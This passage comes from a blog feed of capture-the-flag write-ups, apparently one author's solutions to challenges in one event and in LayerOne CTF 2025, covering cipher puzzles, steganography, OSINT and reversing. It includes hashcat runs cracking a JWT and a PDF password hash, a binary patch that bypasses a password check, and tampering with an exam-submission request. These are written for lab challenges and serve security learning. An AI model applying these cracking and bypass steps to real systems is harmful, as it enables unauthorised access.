image.save(output_image)
image.show()
&#92;```

### Key Points:

- The script reads the CSV, converts it to a NumPy array, and reshapes it into a 29x29 grid.
- It assumes that the values are already in the form of pixel intensities (0 for black and 255 for white).
- You can replace the CSV file path with your actual file&#39;s name.

Let me know if you need any further customization!


This almost works perfectly, but needed to flip it in an image editor because the reshape was kind of weird. In the end we get &amp;quot;flag{that_will_be_five_dollars}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;syncopated-beat&quot;&gt;Syncopated Beat &lt;a class=&quot;direct-link&quot; href=&quot;#syncopated-beat&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Category: Steg&lt;/p&gt;
&lt;p&gt;Challenge lists something about demon voices and includes a video, listen to video and you will hear reversed speech partway in the song, classic. Reversing audio in audacity gives us the voices (very good quality audio too)&lt;/p&gt;
&lt;p&gt;The silly &amp;quot;demon&amp;quot; gives a hint that the flag is a band that did a song like &amp;quot;fly like an eagle, time keeps on slipping&amp;quot; in the 70s with all cap, spaces between the words (good song). The band is STEVE MILLER BAND&lt;/p&gt;
&lt;h2 id=&quot;logical-left-and-rational-right&quot;&gt;Logical Left and Rational Right &lt;a class=&quot;direct-link&quot; href=&quot;#logical-left-and-rational-right&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Challenge is a file with a bunch of &#92; and /. Very binary looking&lt;/p&gt;
&lt;p&gt;Used cyberchef&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Find_/_Replace({&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;&#92;&#92;&#92;&#92;&#39;},&#39;0&#39;,true,false,true,false)
Find_/_Replace({&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;&#92;&#92;/&#39;},&#39;1&#39;,true,false,true,false)
From_Binary(&#39;Space&#39;,8)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Gives us &amp;quot;Just a little something to get started, hope you have fun this year Turbo Tacky!!!! flag{H3YY0UrF1N411Y4W4K3}&amp;quot;&lt;/p&gt;
&lt;h2 id=&quot;ides-le-talk&quot;&gt;Ides-le Talk &lt;a class=&quot;direct-link&quot; href=&quot;#ides-le-talk&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Challenge is a txt file with text like &amp;quot;Gur Yvsr naq Qrngu bs Whyvhf Pnrfne.&amp;quot; The patterns look a lot like a monoalphabetic substitution cipher, particularly a rotation so tested it versus rot13 in cyberchef and we get &amp;quot;The Life and Death of Julius Caesar.&#39; Ctrl-F for &amp;quot;flag&amp;quot; and we find &amp;quot;flag: L3t_The#Mi$chiefs^8361n&amp;quot;&lt;/p&gt;
&lt;h2 id=&quot;social-pressure&quot;&gt;Social Pressure &lt;a class=&quot;direct-link&quot; href=&quot;#social-pressure&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Similar challenge to Ides-le but this time ROT13 Bruteforcing didnt work example text: &amp;quot;Svb ororgs, yrt mvdh! Dv&#39;iv tlrmt zugvi Wv Nlmmv Urmzmxrzo mvcg. Gsvri hvxfirgb nvzhfivh szev hlnv slovh gszg dv&#39;iv tlmmz vckolrg yrt grnv! R&#39;ev yvvm klprmt zilfmw zmw ulfmw hlnv HJO efomvizyrorgrvh dv xzm oveviztv uli nzcrnfn xszlh.&amp;quot;&lt;/p&gt;
&lt;p&gt;Since ROT13 didn&#39;t work I shoved it in dcode&#39;s monoalphabetic substitution cipher solver (&lt;a href=&quot;https://www.dcode.fr/monoalphabetic-substitution&quot;&gt;https://www.dcode.fr/monoalphabetic-substitution&lt;/a&gt;). This gives us &amp;quot;HEY LILITH, BIG NEWS! WE&#39;RE GOING AFTER DE MONNE FINANCIAL NEXT. THEIR SECURITY MEASURES HAVE SOME HOLES THAT WE&#39;RE GONNA EXPLOIT BIG TIME! I&#39;VE BEEN POKING AROUND AND FOUND SOME SQL VULNERABILITIES WE CAN LEVERAGE FOR MAXIMUM CHAOS.&amp;quot; and two potential keys (ZYXWVUTSRAPONMLKJIHGFEDCBQ or JYXWVUTSRQPONMLKZIHGFEDCBA). Using these we can decrypt their chats and find that they are talking about &amp;quot;Elroy Ongaro&amp;quot; so the flag is &amp;quot;flag{Elroy_Ongaro}&lt;/p&gt;
&lt;h2 id=&quot;cereal-killer-01&quot;&gt;Cereal Killer 01 &lt;a class=&quot;direct-link&quot; href=&quot;#cereal-killer-01&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Using IDA to decompile the windows code we get something like&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  sub_791020(&amp;quot;As in, which spooky cereal is best?&#92;n&amp;quot;, v27);
  sub_791020(&amp;quot;Mr. Robert F. Kennedy, Jr. has a favorite spooky cereal.  Tear apart this&#92;n&amp;quot;, v28);
  sub_791020(&amp;quot;binary and see if you can figure out what it is!&#92;n&amp;quot;, v29);
  sub_791020(&amp;quot;&#92;n&#92;n&amp;quot;, v30);
  sub_791020(&amp;quot;Please enter the password: &amp;quot;, v31);
  sub_791060(&amp;quot;%1023[^&#92;n]&amp;quot;, (char)Src);
  v8 = Src;
  for ( j = strlen(Src); isspace(ArgList[j + 47]); Src[j] = 0 )
    --j;
  for ( k = Src[0]; k; --j )
  {
    if ( !isspace(k) )
      break;
    k = *++v8;
  }
  memmove(Src, v8, j + 1);
  sub_7910A0(13);
  if ( !strncmp(Str1, &amp;quot;obboreel&amp;quot;, 8u) )
  {
    v24 = &amp;quot;ACCESS DENIED!!!&#92;n&amp;quot;;
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;so I tried &amp;quot;obboreel&amp;quot; as the password. That didn&#39;t work, so I did it again and looked to see what it was comparing for the strncmp. In this stack we could see &amp;quot;booberry&amp;quot; so I used that and it worked and spat out the flag&lt;/p&gt;
&lt;h2 id=&quot;she&#39;s-got-issues&quot;&gt;She&#39;s Got Issues &lt;a class=&quot;direct-link&quot; href=&quot;#she&#39;s-got-issues&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;quot;Head over to their code repo and see if you can gather some intel on the state of the develop team and other clues that might help you hack the Sweepstakes website.&amp;quot;&lt;br&gt;
Click repo, check issues tab, ctrl-f &amp;quot;flag&amp;quot;, flag{CK06b-What-The-Director-Wants-The-Director-Gets!!!}&lt;/p&gt;
&lt;h2 id=&quot;image-of-the-beast&quot;&gt;Image of the Beast &lt;a class=&quot;direct-link&quot; href=&quot;#image-of-the-beast&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Some sorta lore about a disgruntled employee, he left something for us in a repo. Link to a github. Click link to github, find image by the disgruntled employee, look at exif data &amp;quot;WebStatement	&lt;a href=&quot;https://schnickschnock.lyttonlabs.org/schnickschnock/welp.html&quot;&gt;https://schnickschnock.lyttonlabs.org/schnickschnock/welp.html&lt;/a&gt;&amp;quot; Flag at the bottom of page &amp;quot;flag{CK06a-Clippy-Isnt-Disgruntled-He-Was-Never-Gruntled-In-The-First-Place!!!}&amp;quot;&lt;/p&gt;
&lt;h2 id=&quot;cereal-killer-05&quot;&gt;Cereal Killer 05 &lt;a class=&quot;direct-link&quot; href=&quot;#cereal-killer-05&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Use a java decompiler to decompile the code, notice it uses an incrementing xor cipher to decrypt the url with our supplied cipher and that the plaintext url starts with &amp;quot;https://&#39;. Use the reversibility of xor with known plaintext as such:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;encrypted_url=[42, 6, 68, 64, 7, 120, 93, 31, 83, 17, 48, 23, 81, 92, 90, 46, 11, 68, 68, 27, 44, 30, 81, 82, 7, 108, 29, 66, 87, 91, 33, 23, 66, 85, 21, 46, 1, 31, 86, 6, 45, 29, 68, 82, 6, 45, 29, 68, 30, 30, 50, 23, 87]
for i in range(len(&amp;quot;https://&amp;quot;)): print(chr(encrypted_url[i]^ord(&amp;quot;https://&amp;quot;[i])),end=&#39;&#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gives us &amp;quot;Br00tBr0&#39;&lt;br&gt;
but we happen to know there is a modulus in the code so the key is reused, so we can assume the key is actually just &amp;quot;Br00t&amp;quot;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:&#92;Users&#92;Cramik&#92;Desktop&amp;gt;java -jar cerealkiller05.jar
President Donald Trump has a favorite cereal.  It is great... really great...
The reason it is so great, is because HE likes it... that makes it reall great...
Of course, to maintain utmost secrecy, it is protected with a password that is
HIGHLY secure (and backed up securely on a piece of paper somewhere in Mar Lago...)
Now, you, being a highly trained hacker, should be able to BYPASS this security and
discover what President Trump&#39;s favorite monster cereal is.

Enter password: Br00t
Decrypted URL: https://cereal.lyttonlabs.org/cereals/frootbroot.jpeg
Decrypted Flag: flag{Fr00t-Br00t-is-the-only-cereal-for-Prez-Trump!}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;cereal-killer-02&quot;&gt;Cereal Killer 02 &lt;a class=&quot;direct-link&quot; href=&quot;#cereal-killer-02&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I played around with inputs and noticed that the access denied output is hit when a DWORD (labelled v9 by IDA) fails an if comparison with another DWORD (v11). I also noticed that v11 is independent of our input so its likely the intended result of our input. With this, I patched the assembly above that sets&lt;br&gt;
&amp;quot;v9 = &amp;amp;v44;&amp;quot; to the equivalent of &amp;quot;v9 = &amp;amp;v45;&amp;quot; since v11 is set to &amp;amp;v45 right before the comparison&lt;br&gt;
basically turned&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:00FE1435 lea     ecx, [esp+760h+var_480]
.text:00FE143C mov     esi, 0Ch
.text:00FE1441 lea     edx, [esp+760h+var_470]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:00FE1435 lea     ecx, [esp+760h+var_470]
.text:00FE143C mov     esi, 0Ch
.text:00FE1441 lea     edx, [esp+760h+var_470]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;data-breach&quot;&gt;Data Breach &lt;a class=&quot;direct-link&quot; href=&quot;#data-breach&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Downloaded the pcap file, pcapng so couldn&#39;t use networkminer free version :(. Sorted by protocol, skipped ARP, thought DNS looked suspicious but didnt see anything easy to solve, so went down to HTTP. Noticed an HTTP header &amp;quot;Not-Suppose-To-Be-Here: flag{Information_disclosure_in_the_head}&amp;quot;&lt;/p&gt;
&lt;h4 id=&quot;(future-me-here.-you-can-just-use-wireshark-to-convert-pcapng-to-pcap)&quot;&gt;(Future me here. You can just use wireshark to convert pcapng to pcap) &lt;a class=&quot;direct-link&quot; href=&quot;#(future-me-here.-you-can-just-use-wireshark-to-convert-pcapng-to-pcap)&quot;&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;h2 id=&quot;winning-factors&quot;&gt;Winning Factors &lt;a class=&quot;direct-link&quot; href=&quot;#winning-factors&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
from math import factorial
a=remote(&amp;quot;147.182.245.126&amp;quot;,&amp;quot;33001&amp;quot;);b=a.recvline();print(b);number=b[27:-2];print(number);answer=str(math.factorial(int(number)));print(answer);a.send(answer);b=a.recvall(timeout=1);print(b)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;is-this-vul-ner-ble%3F&quot;&gt;Is This Vul-ner-ble? &lt;a class=&quot;direct-link&quot; href=&quot;#is-this-vul-ner-ble%3F&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;hashcat -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsIm5vbmNlIjoiIn0.eyJpc3MiOiJ0dXJib3RhY3RpY2FsLm5ldCIsImV4cCI6IjE0NTA2NTkxMDIiLCJ1cG4iOiJjZm9kZXJhIiwiZnVsbF9uYW1lIjoiQ2xhaXIgRm9kZXJhIiwidXNlcm5hbWUiOiJDRm9kZXJhOTEiLCJwaG9uZV9udW1iZXIiOiIiLCJqdGkiOiJmdGlkMjM0MmEtMzI0M2QtMjM0My1kMzR5OHlnZmZlIiwic3R1ZmYiOjExMjIyLCJncm91cHMiOlsibG93X2FkbWluIiwicmVtb3RlX3VzZXIiLCJsYWJ0ZWNoIl0sIm9yZyI6IlR1cmJvVGFjdGljYWwiLCJzdWJfb3JnIjoiR3JvdXBfRCIsIm5idCI6NTc1NDczNzU0ODI5NTI3NTAwMDAsImxkZV9zIjpbeyJhc3RhdHVzIjoibnVsbCIsImJzdGF0dXMiOiJudWxsIiwiY3N0YXR1cyI6InZhbGlkIiwiZHN0YXR1cyI6Im51bGwifV19.kQKRFPLj_SqVeEiBjfKi7FKOEVoV71JgdFRxDTjp7TQ fasttrack.txt
&lt;/code&gt;&lt;/pre&gt;

		</content>
	</entry>
	
	<entry>
		<title>LayerOne CTF 2025</title>
		<link href="https://cramik.github.io/posts/layerone-ctf-2025/"/>
		<updated>2025-05-25T00:00:00+00:00</updated>
		<id>https://cramik.github.io/posts/layerone-ctf-2025/</id>
		<content type="html">
		  &lt;h2 id=&quot;out-of-frame&quot;&gt;Out of Frame &lt;a class=&quot;direct-link&quot; href=&quot;#out-of-frame&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Binary Eye handles this one very easily&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/61d4b2e616f86af4b632cec3e691f74a.png&quot; alt=&quot;61d4b2e616f86af4b632cec3e691f74a.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;flag-hunting&quot;&gt;Flag Hunting &lt;a class=&quot;direct-link&quot; href=&quot;#flag-hunting&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Open in wireshark, sort by HTTP, see &amp;quot;flag.txt&amp;quot;, copy text&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/150d1e335fa8f1059ad48c9da452a137.png&quot; alt=&quot;150d1e335fa8f1059ad48c9da452a137.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;secret-file-1&quot;&gt;Secret File 1 &lt;a class=&quot;direct-link&quot; href=&quot;#secret-file-1&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;┌──(cramik㉿Android)-[/mnt/c/users/cramik/downloads]
└─$ pdf2john secret.pdf
secret.pdf:$pdf$5*6*256*-4*1*16*e43d2d0f128345ae81f6c688ecac2b35*48*89a68ba2b7c26dbcfe3f952e53c835a6f92bbf6840229620adacc247fb295302cddc27aaa02dd18245323ab714c349c5*48*50ac35ca7f0844156dec1333a5ec762749f3d5daf7c0e12f21beb36a715687e71a24aeba62041b0345f1f0449dbc9a8b*32*108ab1c0bb3c5d999b04eacee2469554e35a616eaaef72ac869a2e4f8a1ef6bb*32*6460f87b24048e8dcfbfa5d6e7e7becb01ae3c80784cb8c66102fb011a969255
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;C:&#92;Users&#92;Cramik&#92;Desktop&#92;SecTools&#92;hashcat&amp;gt;hashcat -m 10700 secret.pdf.txt wordlists/rockyou.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$pdf$5*6*256*-4*1*16*e43d2d0f128345ae81f6c688ecac2b35*48*89a68ba2b7c26dbcfe3f952e53c835a6f92bbf6840229620adacc247fb295302cddc27aaa02dd18245323ab714c349c5*48*50ac35ca7f0844156dec1333a5ec762749f3d5daf7c0e12f21beb36a715687e71a24aeba62041b0345f1f0449dbc9a8b*32*108ab1c0bb3c5d999b04eacee2469554e35a616eaaef72ac869a2e4f8a1ef6bb*32*6460f87b24048e8dcfbfa5d6e7e7becb01ae3c80784cb8c66102fb011a969255:licenciada&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Open pdf, use password, copy invisible text&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/242231ab48109af05bc42873d86fd1c5.png&quot; alt=&quot;242231ab48109af05bc42873d86fd1c5.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;barbie&#39;s-cave-adventure&quot;&gt;Barbie&#39;s Cave Adventure &lt;a class=&quot;direct-link&quot; href=&quot;#barbie&#39;s-cave-adventure&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The image has a cave with a dancing man cipher on the wall, dcode has a translator for this cipher &lt;a href=&quot;https://www.dcode.fr/dancing-men-cipher&quot;&gt;https://www.dcode.fr/dancing-men-cipher&lt;/a&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/8bf509e3ae1fede99cdc292091d08951.png&quot; alt=&quot;8bf509e3ae1fede99cdc292091d08951.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;piercing-secrets&quot;&gt;Piercing Secrets &lt;a class=&quot;direct-link&quot; href=&quot;#piercing-secrets&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Upload image to aperisolve, aperisolve did steghide and found Daggers.png&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/d17e41c3351c8642227e77d5c3289e36.png&quot; alt=&quot;d17e41c3351c8642227e77d5c3289e36.png&quot; width=&quot;600&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/cb770a2bbb3118c52080857ad29659cb.png&quot; alt=&quot;cb770a2bbb3118c52080857ad29659cb.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;barbie&#39;s-mysterious-sound&quot;&gt;Barbie&#39;s Mysterious Sound &lt;a class=&quot;direct-link&quot; href=&quot;#barbie&#39;s-mysterious-sound&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;There&#39;s a small bit of morse code in the middle of the audio, extract it with audacity.&lt;br&gt;
I had difficulties getting the normal &amp;quot;Morse Code Adaptive Audio Decoder&amp;quot; to work so I went with &lt;a href=&quot;https://morsefm.com/&quot;&gt;https://morsefm.com/&lt;/a&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/74f3e999420bae366a39164523ff3cdc.png&quot; alt=&quot;74f3e999420bae366a39164523ff3cdc.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;examsploit&quot;&gt;Examsploit &lt;a class=&quot;direct-link&quot; href=&quot;#examsploit&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Modify the correct count in the /api/submit_exam request&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/fe0867f6cdafe9c9827b7ef3424d3227.png&quot; alt=&quot;fe0867f6cdafe9c9827b7ef3424d3227.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;echoes-of-gunaa&quot;&gt;Echoes Of Gunaa &lt;a class=&quot;direct-link&quot; href=&quot;#echoes-of-gunaa&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;AHA music chrome extension -&amp;gt; &lt;a href=&quot;https://www.aha-music.com/7c53e604a07b928a0db65fcb437ef406?title=Kanmani%20Anbodu%20Kadhalan%20%28From%20%22Guna%22%29&amp;amp;artist=Kamal%20Haasan%2FVaali%2FS.%20Janaki%2FIlaiyaraaja&quot;&gt;https://www.aha-music.com/7c53e604a07b928a0db65fcb437ef406?title=Kanmani Anbodu Kadhalan (From &amp;quot;Guna&amp;quot;)&amp;amp;artist=Kamal Haasan%2FVaali%2FS. Janaki%2FIlaiyaraaja&lt;/a&gt; -&amp;gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Kanmani_Anbodu_Kadhalan&quot;&gt;https://en.wikipedia.org/wiki/Kanmani_Anbodu_Kadhalan&lt;/a&gt; -&amp;gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Guna_Caves&quot;&gt;https://en.wikipedia.org/wiki/Guna_Caves&lt;/a&gt; -&amp;gt; flag{GunaCaves_10.21_77.46}&lt;/p&gt;
&lt;h2 id=&quot;operation-silent-web&quot;&gt;Operation Silent Web &lt;a class=&quot;direct-link&quot; href=&quot;#operation-silent-web&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;quot;Specter&amp;quot; &amp;quot;2216&amp;quot;&lt;br&gt;
&lt;a href=&quot;https://www.instagram.com/specter_._2216&quot;&gt;https://www.instagram.com/specter_._2216&lt;/a&gt;&lt;br&gt;
&amp;quot;Shadows on Familiar Grounds&amp;quot;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/b0840a6d241acab728c3e8301672e7ca.png&quot; alt=&quot;b0840a6d241acab728c3e8301672e7ca.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.instagram.com/p/DI7R3wyTHjA/&quot;&gt;https://www.instagram.com/p/DI7R3wyTHjA/&lt;/a&gt;&lt;br&gt;
#PasswordHere&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/37eedcb4233abd4dbd9673bae9829821.png&quot; alt=&quot;37eedcb4233abd4dbd9673bae9829821.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;p&gt;&amp;quot;To unlock the secrets hidden in plain sight, shift your focus 22 steps back from where &#39;A&#39; begins. A simple code, but only for those who can decode the past.&lt;/p&gt;
&lt;p&gt;dpplo://sss.hejgazej.yki/ej/olaypan-odwzkso-1833x1363?qpi_okqnya=odwna&amp;amp;qpi_ywilwecj=odwna_rew&amp;amp;qpi_ykjpajp=lnkbeha&amp;amp;qpi_iazeqi=wjznkez_wll&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://cyberchef.io/#recipe=ROT13%28true,true,false,-22%29&amp;amp;input=ZHBwbG86Ly9zc3MuaGVqZ2F6ZWoueWtpL2VqL29sYXlwYW4tb2R3emtzby0xODMzeDEzNjM/cXBpX29rcW55YT1vZHduYSZxcGlfeXdpbHdlY2o9b2R3bmFfcmV3JnFwaV95a2pwYWpwPWxua2JlaGEmcXBpX2lhemVxaT13anpua2V6X3dsbA&quot; title=&quot;https://cyberchef.io/#recipe=ROT13(true,true,false,-22)&amp;amp;input=ZHBwbG86Ly9zc3MuaGVqZ2F6ZWoueWtpL2VqL29sYXlwYW4tb2R3emtzby0xODMzeDEzNjM/cXBpX29rcW55YT1vZHduYSZxcGlfeXdpbHdlY2o9b2R3bmFfcmV3JnFwaV95a2pwYWpwPWxua2JlaGEmcXBpX2lhemVxaT13anpua2V6X3dsbA&quot;&gt;https://cyberchef.io/#recipe=ROT13(true,true,false,-22)&amp;amp;input=ZHBwbG86Ly9zc3MuaGVqZ2F6ZWoueWtpL2VqL29sYXlwYW4tb2R3emtzby0xODMzeDEzNjM/cXBpX29rcW55YT1vZHduYSZxcGlfeXdpbHdlY2o9b2R3bmFfcmV3JnFwaV95a2pwYWpwPWxua2JlaGEmcXBpX2lhemVxaT13anpua2V6X3dsbA&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.linkedin.com/in/specter-shadows-1833b1363?utm_source=share&amp;amp;utm_campaign=share_via&amp;amp;utm_content=profile&amp;amp;utm_medium=android_app&quot;&gt;https://www.linkedin.com/in/specter-shadows-1833b1363?utm_source=share&amp;amp;utm_campaign=share_via&amp;amp;utm_content=profile&amp;amp;utm_medium=android_app&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cramik.github.io/img/52373341c548c1cff683953718093243.png&quot; alt=&quot;52373341c548c1cff683953718093243.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://cyberchef.io/#recipe=From_Base64%28%27A-Za-z0-9%2B/%3D%27,true%29&amp;amp;input=Wm14aFozdG9hV2xmYVcxZmMzQmxZM1JsY2w5dWFXTmxYM1J2WDIxbFpYUmZlVzkxWDJGc2JIMD0&quot; title=&quot;https://cyberchef.io/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true)&amp;amp;input=Wm14aFozdG9hV2xmYVcxZmMzQmxZM1JsY2w5dWFXTmxYM1J2WDIxbFpYUmZlVzkxWDJGc2JIMD0&quot;&gt;https://cyberchef.io/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true)&amp;amp;input=Wm14aFozdG9hV2xmYVcxZmMzQmxZM1JsY2w5dWFXTmxYM1J2WDIxbFpYUmZlVzkxWDJGc2JIMD0&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;scan-me&quot;&gt;Scan Me &lt;a class=&quot;direct-link&quot; href=&quot;#scan-me&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.aperisolve.com/62600eead024bbf1bf4c547d8feee020&quot;&gt;https://www.aperisolve.com/62600eead024bbf1bf4c547d8feee020&lt;/a&gt; + Binary Eye&lt;/p&gt;
&lt;h2 id=&quot;locksmith&quot;&gt;Locksmith &lt;a class=&quot;direct-link&quot; href=&quot;#locksmith&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/joswr1ght/PatternLockScripts&quot;&gt;https://github.com/joswr1ght/PatternLockScripts&lt;/a&gt;&lt;br&gt;
python3 &lt;a href=&quot;http://generateandroidgesturerainbowtable.py/&quot;&gt;GenerateAndroidGestureRainbowTable.py&lt;/a&gt;&lt;br&gt;
python &lt;a href=&quot;http://gesturekeylookup.py/&quot;&gt;GestureKeyLookup.py&lt;/a&gt; gesture.key&lt;br&gt;
[2, 1, 4, 3, 0, 7, 8, 5, 6]&lt;br&gt;
flag{214307856}&lt;/p&gt;
&lt;h2 id=&quot;barbie-world-reversing&quot;&gt;Barbie World Reversing &lt;a class=&quot;direct-link&quot; href=&quot;#barbie-world-reversing&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://cramik.github.io/img/121a1db805e8d06985c145b79811e422.png&quot; alt=&quot;121a1db805e8d06985c145b79811e422.png&quot; width=&quot;600&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/3f24f5fdaaebd9d93e1b2b41b4f5ecab.png&quot; alt=&quot;3f24f5fdaaebd9d93e1b2b41b4f5ecab.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;binary-breach&quot;&gt;Binary Breach &lt;a class=&quot;direct-link&quot; href=&quot;#binary-breach&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Same thing?&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/ce67e95a788ce2d64b06c064049baa6d.png&quot; alt=&quot;ce67e95a788ce2d64b06c064049baa6d.png&quot; width=&quot;600&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/f603569dee7fb26d3167181333164c57.png&quot; alt=&quot;f603569dee7fb26d3167181333164c57.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;nexus&quot;&gt;Nexus &lt;a class=&quot;direct-link&quot; href=&quot;#nexus&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://cramik.github.io/img/a8947ae0e62653571ae5c3f89b21e759.png&quot; alt=&quot;a8947ae0e62653571ae5c3f89b21e759.png&quot; width=&quot;600&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/a0972e9d7eb637e06cf8efcf92194748.png&quot; alt=&quot;a0972e9d7eb637e06cf8efcf92194748.png&quot; width=&quot;600&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/455ada53a7c6db4bb484f7864631a042.png&quot; alt=&quot;455ada53a7c6db4bb484f7864631a042.png&quot; width=&quot;600&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/be449e57971208dc9a650137902d3163.png&quot; alt=&quot;be449e57971208dc9a650137902d3163.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;barbie&#39;s-secret-slip-1&quot;&gt;Barbie&#39;s Secret Slip 1 &lt;a class=&quot;direct-link&quot; href=&quot;#barbie&#39;s-secret-slip-1&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/chiccoder342&quot;&gt;https://github.com/chiccoder342&lt;/a&gt; -&amp;gt; &lt;a href=&quot;https://github.com/chiccoder342/fashionbytes&quot;&gt;https://github.com/chiccoder342/fashionbytes&lt;/a&gt; only one with commits -&amp;gt; test branch -&amp;gt; commits -&amp;gt; &lt;a href=&quot;https://github.com/chiccoder342/fashionbytes/commit/b2f5228fe54eb3505e1dd3fe6892e62bdfd67ab9&quot;&gt;https://github.com/chiccoder342/fashionbytes/commit/b2f5228fe54eb3505e1dd3fe6892e62bdfd67ab9&lt;/a&gt; -&amp;gt; AUTH_SECRET&lt;/p&gt;
&lt;h2 id=&quot;barbie&#39;s-secret-slip-2&quot;&gt;Barbie&#39;s Secret Slip 2 &lt;a class=&quot;direct-link&quot; href=&quot;#barbie&#39;s-secret-slip-2&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://bsky.app/profile/chiccoder342.bsky.social/post/3lpwtyo52bt2s&quot;&gt;https://bsky.app/profile/chiccoder342.bsky.social/post/3lpwtyo52bt2s&lt;/a&gt; -&amp;gt; Base64 Decode&lt;br&gt;
